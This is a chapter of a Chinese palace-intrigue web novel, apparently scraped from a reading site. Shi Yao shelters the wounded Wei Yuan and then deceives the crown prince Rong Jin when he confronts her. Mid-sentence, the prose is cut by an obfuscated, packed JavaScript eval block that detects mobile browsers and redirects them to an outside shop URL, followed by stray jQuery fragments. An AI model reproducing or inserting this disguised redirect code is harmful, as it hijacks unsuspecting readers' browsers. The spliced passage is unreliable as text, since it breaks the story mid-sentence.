默认冷灰
24号文字
方正启体

13. 013

作者:云山雾潋本书字数:K更新时间:
    卫苑坐起身,案几上茶盏中的茶已经冷了,但她没在意,站在地上端举至身前。


    “阿姐,我知道我要做的事是冒天下之大不韪,一旦失势,万劫不复,我向你保证,在局势明朗之前我绝不会将你置于危险之中,倘若我失败,也请你千万不要为我奔走求情,若真有那一日,便是我去见我素未谋面的父母兄长了。”


    “我还从来没有见过他们呢。”卫苑怅然地叹了一句,又回过神,看向施遥继续说道,“以后若是有机会,姐姐也给我讲讲他们吧。”


    “我今日过来时都在想,将你扯进我的计划中到底对不对,因为我知道,我对你说的话很可能是你不好拒绝也不能拒绝的,可是我还是来了,还是告诉你了,我自私地让你也跟我站在一处,我心里总是愧对于你,尤其是你还没有怪我。”


    “我会记得这一切的,姐姐,我以茶代酒,先行向你赔罪。”


    卫苑举着茶盏一连串说了许多话,然后将茶盏中早已凉透的茶一饮而尽,施遥也起身站到她的对面,也拿过自己那边的茶盏,她注视盏中微微摇晃的茶汤,片刻后轻声道:


    “你没有任何对不起我的地方,即便我们不是血脉相连的至亲,你同我说这番话,我也会愿意的,只是我力弱,又无凭无势,你可能费尽心思,却在这个宫中选了一个最差的盟友,哪怕日后你觉得我其实什么都没有帮上你,不认可我对你有什么助力我也会理解……”


    “才不是最差的,宫中每个人都自命不凡,又无礼又自私。姐姐,这些年真的苦了你了。不过你别怕,以后我会成为你的倚仗。”卫苑一字一句说道。


    施遥有些说不下去了。


    她这些年每一日都过得胆战心惊,每一次做违心事、说违心话时,她都无比痛恨自己的无能,而她投以期盼的那个人呢,他待她就像……像个宠物,召之即来挥之即去,他理解过她的处境吗?他心疼过她的屈从吗?


    从未有过吧。


    他只会讥讽她不合时宜的自尊心,而后用他那倨傲淡漠的语气嘲她是痴心妄想。


    而卫苑呢,她会红着眼睛顾惜她的尊严,坚定地告诉她,以后会成为她的倚仗,二者选其一,忽视掉她想到容瑨时于心海之底泛起的一丝丝涟漪,她完全没有理由不选卫苑。


    施遥说不出什么话了,她沉默着举盏,亦是一饮而尽,她将手中的茶盏搁置在卫苑用过的那只旁边,玉质茶盏并排挨着立在案上,投下一片小小的、相连的阴影,像是达成了某种隐秘而不为人知的同盟。


    她们望着彼此一同笑起来,眉眼间有着相似的神采。


    而后一连几日,施遥都没出门,老皇帝议政将卫苑……或者说容璋,老皇帝将容璋留在殿中,但凡是能直达御前的朝中重臣都已经知道了,老皇帝认回了自己流落在外的皇子,只待回京后加封。


    有人不以为意,毕竟太子殿下天纵英才,朝中根基极其稳固,认为这位新回宫的容璋皇子绝无可能动摇太子的地位;也有人忧心忡忡,认为这位新回朝的皇子很不寻常,毕竟他回来时间尚短,却极得陛下欢心,而这阵子明眼人都看得出太子殿下和陛下之间起了龃龉,怕有心人借此机会趁虚而入。


    连青砚都听了这些风言风语,回来捡着要紧的同施遥讲了,最后不无忧心地问道:“郡主,若是太子殿下当真失了势,您可怎么办啊。”


    “殿下是人中龙凤,哪是随便什么人便能取而代之的,这些不该说的话,青砚你也莫要在外面跟着说,往后便是听了也只当没听见,免得惹来不必要的麻烦。”施遥嘱咐道。


    “是,青砚记住了。”


    施遥点点头,朝着屋里走,只是刚一开门便顿住,而后神情自若地反手将门推紧,确定门窗都是关闭的,无人能看见屋中的情形,她方才朝地上的人走过去。


    是卫苑,穿着夜行衣,覆面的黑纱不见了,似是受了伤,此刻倒在地上意识都有些模糊了,看不出她伤在哪里,但施遥一进来便闻到屋中有股淡淡的血气,她将卫苑从地上扶起来,轻轻拍拍少女的脸颊。


    “……你,你醒醒……”施遥试探着轻声唤了唤,又掐了掐她的人中。


    好一会卫苑才清醒,下意识便去提剑,又很快认出施遥,勉强撑起自己,将怀中的瓷瓶塞进施遥手里,口中费力地说道:“水,有吗?”


    施遥递了杯水到她唇边,喂她喝了几大杯她才缓过来,恨恨骂道:“这群人,下手真脏。”


    “你伤在哪了?”施遥看她这幅萎靡的样子心里也不好受,关切地问道。


    “我没事,都是皮外伤,只是被他们用迷药暗算了。”


    “‘他们’?”施遥看了看她的样子,心中不免有了几分猜测,但并未直言,只追问道,“谁们?”


    这会卫苑算是缓了过来,指了指那个瓷瓶,“这是老皇帝在吃的药,我悄悄弄出来了点,本以为不会有人发现的,不知道怎么被太子的人怎么知道了,一路不依不饶没命地追。”


    施遥打开瓷瓶嗅了嗅,但是她也分辨不出到底是不是老皇帝一直服用的汤药,只觉得都是刺鼻的药味,闻不出有什么分别。


    “你怀疑老皇帝的病?”施遥将瓷瓶的瓶口塞紧,低声开口,“可老皇帝身边有专门负责为他调理身子的太医,这些年从未出过差错的。”


    “正是这样看上去‘绝对可信’的人,一旦变节才致命呢。”卫苑笑了笑说道。


    “这个放在你这里,过几日我再找你拿,我要找人帮我验一验,看看老皇帝这些年都在吃些什么药,我还等着他废立太子呢,可别先咽气了。”


    施遥点点头,将瓷瓶收进怀中,而后看向她,“我去给你找一套宫女的衣裳,等你好些了你自己出去。”


    “不用,我已经缓过来了,待会我自己离开,换衣服我反而不方便,”卫苑拉住她,将她拦下,眨眨眼又道,“万一被抓了,穿现在这身衣服,也不会连累你。”


    施遥抬手轻轻拍她腿,“不许乱说话……”


    正这会,卫苑忽地神情警觉地坐起身,“有人来了。”


    二人打量了一下房中的摆设,几乎是没什么藏身的地方,最后施遥一指床下,卫苑伏着身子钻进最里面的角落,施遥把床榻简单理了理,这会她已经听到了青砚向来人行礼问安的声音,也不必出去确认什么了,想了想又往熏炉里添了把香,下一刻她房门便被推开了。


    饶是她在这宫中不算起眼,可是阖宫上下再没第二个人会这样直接闯进她就寝的房间。


    容瑨一进来便拧起眉,目光在屋中逡巡片刻,走到燃着熏香的熏炉旁,抬手撩了撩飘升的青烟,低低一笑,“那人在哪?”


    “殿下说的什么人?”施遥疑惑地反问。


    “你从来都不喜欢太过浓重的熏香味道。”容瑨答非所问地又道。


    施遥也走到熏炉边,又往里添了一把,“原来殿下也知道我不喜欢,那为什么每次我去的时候,殿下都要燃那么重的香呢?”


    容瑨垂眸看她,“再重的熏香也压不住你这屋子里的血气。”


    “我不是来找你兴师问罪的,趁着我现在对你还有耐心,不要做让我失望的选择。人去哪了?”


    施遥垂下眼帘,眼泪滴滴答答往下落,“我真的听不懂你说的什么,我一回来,这屋子里就是满屋子的血腥气,我都吓坏了,又不敢声张,那味道闻着还直犯恶心,刚往熏炉里添了把香,想着压一压,刚刚知道殿下过来我还松了口气,可是殿下怎么一来就这样冷着脸,看我像是看犯人似的……”


    容瑨沉着脸盯着她,片刻后抬起她低垂的脸颊,她不知道,每每她哭得真情实感的时候,眸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450007|201155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中都没有那种委屈可怜的神态,她心中越委屈越不甘,眼底便越带着那股不服的倔强神情,而此时,她哭得凄凄楚楚,更教他确定,她必定是听得懂他在说什么的。


    他捏着她脸的手越发用力,“遥遥,你确定要这样做?”


    施遥用力掰开他钳着自己的手指。


    “我怎么做了,明明就是我做什么事你都不满意,那你还要我怎么做?你今天就是来找我发脾气的?你到底要找什么人我听都没听说过,我说了我回来时什么都没瞧见,你就是不信我,你总是不相信我……那你自己找吧,我屋子就这么大,你若是觉得我做了什么对不起你的事情,那你就找啊,掘地三尺把我藏的人找出来,把我和那个人一起杀了,你也就满意了,到时候随便你去娶这个正妃那个侧妃的,反正都跟我不相干了……”


    施遥这辈子还没说过这么胡搅蛮缠的话,可是容瑨太了解她了,他大概一进来,看到她的第一眼就知道她在扯谎,但好在,她自诩对他也是了解的,骄矜如他,是绝不会自己亲自在她房中四处翻找她背叛他的证明的。


    她坐在榻边,手指紧紧掐进肉里,方才她眼泪断线般从眼眶涌出,这会却真切地哭不出来了。她心知肚明,方才那番话出口,她与容瑨之间将再也回不去了。


    大概在容瑨眼里,她为了旁人已然站到他的对立面,他从来不是一个多么重感情的人,她做了一个怎样的抉择此刻她与他是心照不宣的。大抵今日过后他再也不会来见她了。


    ……这是好事吗?施遥心中空落落的,又抽丝般地隐隐作痛。


    她不明白,这应该是好事啊,她终于有了机会能够摆脱她深深厌烦且恐惧的一切,为什么她还会心痛。


    施遥看向容瑨,他亦没动,只是站在那里,眸色冷淡地看着她,见她目光终于落到他面上,他低哼了声,朝她走近,将她揽进怀中,覆住她的唇。


    那是个不带情.欲的吻,像是在安抚她的不安,他身上清浅的绿萼梅香一点一点侵满她的感官,她几乎站不稳,下意识地攥住他前襟,唇齿相依的亲密感令她在他怀中不住地颤栗。


    许久,他同她拉开些距离,抵着她似哄似诱的语气说道:“嗯,遥遥,今天的事我不怪你。你还小,很多事情还看不清楚。”


    “但你总该明白,无论旁人承诺给你什么,都是绝无可能做到的。我原本以为这些你都懂。也罢,明日过后,我会调人守住你这里,这段时日你就不要再出门了。你乖一点,待回京后,你想要的一切我都会给你。”


    容瑨说完,目光落在卫苑藏身的床榻下停了停,复又看了眼施遥,转身离开了。


    施遥脱力地坐到榻上,他留下的那股清浅的甜香还在她鼻息间缭绕,她怔怔地望着门的方向一时出神,连卫苑从床下出来都没察觉。


    卫苑坐到她旁边,小心地抱住她,似是知道她此刻心情复杂,什么都没有说。


    施遥背着身,用衣袖擦擦脸上的泪痕,握住卫苑的手,像是跟她说,又像是跟自己说:“我不难过。我是太高兴了。”


    “姐姐,你很喜欢他吗?”卫苑有些迟疑地开口,她发现自己似乎弄错了一些事情,她以为施遥如她想的那般厌恶宫里的每一个人,纵然与这位太子殿下有些说不清楚的关系,但她总归是被迫的,又能有几分真。


    “阿苑,喜欢或者不喜欢,都不会影响我做出的选择。”施遥的语气轻缓而坚决。


    卫苑看向被放在妆奁上的那个瓷瓶,她原本只是怀疑容瑨在老皇帝的药上动了手脚,但见他如此大动干戈,想必这药定是有问题,不仅是药,还有太医,大抵所有经手的人都是容瑨的人。


    若她查明真相,只怕容瑨性命难保,若容瑨死在她手中,姐姐会不会怪她呢?卫苑垂眸看着她和施遥交握的手,神思不属地想着。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)